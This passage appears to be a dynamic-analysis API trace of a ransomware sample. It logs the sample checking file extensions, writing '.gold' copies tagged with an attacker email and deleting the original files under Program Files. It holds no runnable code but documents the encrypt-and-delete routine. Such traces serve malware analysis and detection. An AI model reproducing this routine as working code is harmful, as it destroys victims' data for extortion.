Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0035.739] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=33280) returned 1 [0035.739] CloseHandle (hObject=0x188) returned 1 [0035.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0035.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0035.739] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0035.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0035.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0035.740] lstrlenW (lpString=".doc") returned 4 [0035.740] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0035.740] lstrlenW (lpString=".docx") returned 5 [0035.740] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0035.740] lstrlenW (lpString=".pdf") returned 4 [0035.740] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0035.740] lstrlenW (lpString=".xls") returned 4 [0035.740] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0035.740] lstrlenW (lpString=".xlsx") returned 5 [0035.740] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0035.740] lstrlenW (lpString=".ppt") returned 4 [0035.740] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0035.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0035.740] lstrlenW (lpString=".zip") returned 4 [0035.740] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0035.740] lstrlenW (lpString=".rar") returned 4 [0035.740] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0035.740] lstrlenW (lpString=".bz2") returned 4 [0035.740] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0035.740] lstrlenW (lpString=".7z") returned 3 [0035.740] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0035.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0035.740] lstrlenW (lpString=".dbf") returned 4 [0035.740] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0035.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0035.740] lstrlenW (lpString=".1cd") returned 4 [0035.740] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0035.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0035.740] lstrlenW (lpString=".jpg") returned 4 [0035.740] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0035.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0035.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0035.740] lstrlenW (lpString=".doc") returned 4 [0035.740] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0035.740] lstrlenW (lpString=".docx") returned 5 [0035.740] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0035.740] lstrlenW (lpString=".pdf") returned 4 [0035.740] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0035.740] lstrlenW (lpString=".xls") returned 4 [0035.740] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0035.740] lstrlenW (lpString=".xlsx") returned 5 [0035.740] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0035.740] lstrlenW (lpString=".ppt") returned 4 [0035.740] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0035.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0035.740] lstrlenW (lpString=".zip") returned 4 [0035.740] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0035.740] lstrlenW (lpString=".rar") returned 4 [0035.740] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0035.740] lstrlenW (lpString=".bz2") returned 4 [0035.741] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0035.741] lstrlenW (lpString=".7z") returned 3 [0035.741] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0035.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0035.741] lstrlenW (lpString=".dbf") returned 4 [0035.741] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0035.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0035.741] lstrlenW (lpString=".1cd") returned 4 [0035.741] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0035.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0035.741] lstrlenW (lpString=".jpg") returned 4 [0035.741] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0035.741] lstrcmpiW (lpString1=".avi", lpString2=".gold") returned -1 [0035.741] lstrlenW (lpString="boxed-split.avi") returned 15 [0035.741] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0035.741] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=62976) returned 1 [0035.741] CloseHandle (hObject=0x188) returned 1 [0035.741] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0035.741] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0035.741] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0035.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0035.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0035.741] lstrlenW (lpString=".doc") returned 4 [0035.741] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0035.741] lstrlenW (lpString=".docx") returned 5 [0035.741] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0035.741] lstrlenW (lpString=".pdf") returned 4 [0035.741] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0035.741] lstrlenW (lpString=".xls") returned 4 [0035.741] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0035.741] lstrlenW (lpString=".xlsx") returned 5 [0035.742] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0035.742] lstrlenW (lpString=".ppt") returned 4 [0035.742] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0035.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0035.742] lstrlenW (lpString=".zip") returned 4 [0035.742] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0035.742] lstrlenW (lpString=".rar") returned 4 [0035.742] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0035.742] lstrlenW (lpString=".bz2") returned 4 [0035.742] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0035.742] lstrlenW (lpString=".7z") returned 3 [0035.742] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0035.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0035.742] lstrlenW (lpString=".dbf") returned 4 [0035.742] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0035.856] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-9c354b42.[goldmind@tuta.io].gold")) [0035.856] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0035.878] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0035.879] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0035.879] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0035.879] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0036.451] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.451] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.451] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0036.451] GetLastError () returned 0x0 [0036.451] ReadFile (in: hFile=0x1b0, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x545, lpOverlapped=0x0) returned 1 [0036.453] WriteFile (in: hFile=0x1b4, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x550, lpOverlapped=0x0) returned 1 [0036.453] ReadFile (in: hFile=0x1b0, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0036.454] WriteFile (in: hFile=0x1b4, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xee, lpOverlapped=0x0) returned 1 [0036.454] SetEndOfFile (hFile=0x1b4) returned 1 [0036.454] CloseHandle (hObject=0x1b4) returned 1 [0036.455] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.455] SetEndOfFile (hFile=0x1b0) returned 1 [0036.455] CloseHandle (hObject=0x1b0) returned 1 [0036.455] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0036.456] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml")) returned 1 [0036.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0036.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0036.456] lstrlenW (lpString=".doc") returned 4 [0036.456] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0036.456] lstrlenW (lpString=".docx") returned 5 [0036.456] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0036.456] lstrlenW (lpString=".pdf") returned 4 [0036.456] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0036.456] lstrlenW (lpString=".xls") returned 4 [0036.456] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0036.456] lstrlenW (lpString=".xlsx") returned 5 [0036.456] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0036.456] lstrlenW (lpString=".ppt") returned 4 [0036.456] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0036.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0036.456] lstrlenW (lpString=".zip") returned 4 [0036.456] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0036.456] lstrlenW (lpString=".rar") returned 4 [0036.456] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0036.456] lstrlenW (lpString=".bz2") returned 4 [0036.456] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0036.456] lstrlenW (lpString=".7z") returned 3 [0036.456] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0036.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0036.456] lstrlenW (lpString=".dbf") returned 4 [0036.456] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0036.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0036.456] lstrlenW (lpString=".1cd") returned 4 [0036.456] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0036.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0036.456] lstrlenW (lpString=".jpg") returned 4 [0036.456] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0036.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0036.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0036.456] lstrlenW (lpString=".doc") returned 4 [0036.456] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0036.457] lstrlenW (lpString=".docx") returned 5 [0036.457] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0036.457] lstrlenW (lpString=".pdf") returned 4 [0036.457] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0036.457] lstrlenW (lpString=".xls") returned 4 [0036.457] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0036.457] lstrlenW (lpString=".xlsx") returned 5 [0036.457] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0036.457] lstrlenW (lpString=".ppt") returned 4 [0036.457] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0036.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0036.457] lstrlenW (lpString=".zip") returned 4 [0036.457] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0036.457] lstrlenW (lpString=".rar") returned 4 [0036.457] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0036.457] lstrlenW (lpString=".bz2") returned 4 [0036.457] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0036.457] lstrlenW (lpString=".7z") returned 3 [0036.457] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0036.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0036.457] lstrlenW (lpString=".dbf") returned 4 [0036.457] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0036.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0036.457] lstrlenW (lpString=".1cd") returned 4 [0036.457] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0036.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0036.457] lstrlenW (lpString=".jpg") returned 4 [0036.457] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0036.457] lstrcmpiW (lpString1=".XML", lpString2=".gold") returned 1 [0036.457] lstrlenW (lpString="AccessMUISet.XML") returned 16 [0036.457] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0036.458] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=819) returned 1 [0036.458] CloseHandle (hObject=0x1b0) returned 1 [0036.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml")) returned 0x20 [0036.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0036.458] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0036.458] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.458] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.458] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0036.458] GetLastError () returned 0x0 [0036.458] ReadFile (in: hFile=0x1b0, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x333, lpOverlapped=0x0) returned 1 [0036.460] WriteFile (in: hFile=0x1b4, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x340, lpOverlapped=0x0) returned 1 [0036.460] ReadFile (in: hFile=0x1b0, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0036.460] WriteFile (in: hFile=0x1b4, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0036.460] SetEndOfFile (hFile=0x1b4) returned 1 [0036.461] CloseHandle (hObject=0x1b4) returned 1 [0036.461] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.461] SetEndOfFile (hFile=0x1b0) returned 1 [0036.462] CloseHandle (hObject=0x1b0) returned 1 [0036.462] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0036.462] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml")) returned 1 [0036.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0036.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0036.462] lstrlenW (lpString=".doc") returned 4 [0036.462] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0036.462] lstrlenW (lpString=".docx") returned 5 [0036.462] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0036.463] lstrlenW (lpString=".pdf") returned 4 [0036.463] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0036.463] lstrlenW (lpString=".xls") returned 4 [0036.463] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0036.463] lstrlenW (lpString=".xlsx") returned 5 [0036.463] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0036.463] lstrlenW (lpString=".ppt") returned 4 [0036.463] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0036.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0036.463] lstrlenW (lpString=".zip") returned 4 [0036.463] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0036.463] lstrlenW (lpString=".rar") returned 4 [0036.463] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0036.463] lstrlenW (lpString=".bz2") returned 4 [0036.463] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0036.463] lstrlenW (lpString=".7z") returned 3 [0036.463] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0036.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0036.463] lstrlenW (lpString=".dbf") returned 4 [0036.463] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0036.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0036.463] lstrlenW (lpString=".1cd") returned 4 [0036.463] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0036.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0036.463] lstrlenW (lpString=".jpg") returned 4 [0036.463] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0036.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0036.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0036.463] lstrlenW (lpString=".doc") returned 4 [0036.463] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0036.463] lstrlenW (lpString=".docx") returned 5 [0036.463] lstrcmpiW (lpString1=".docx", 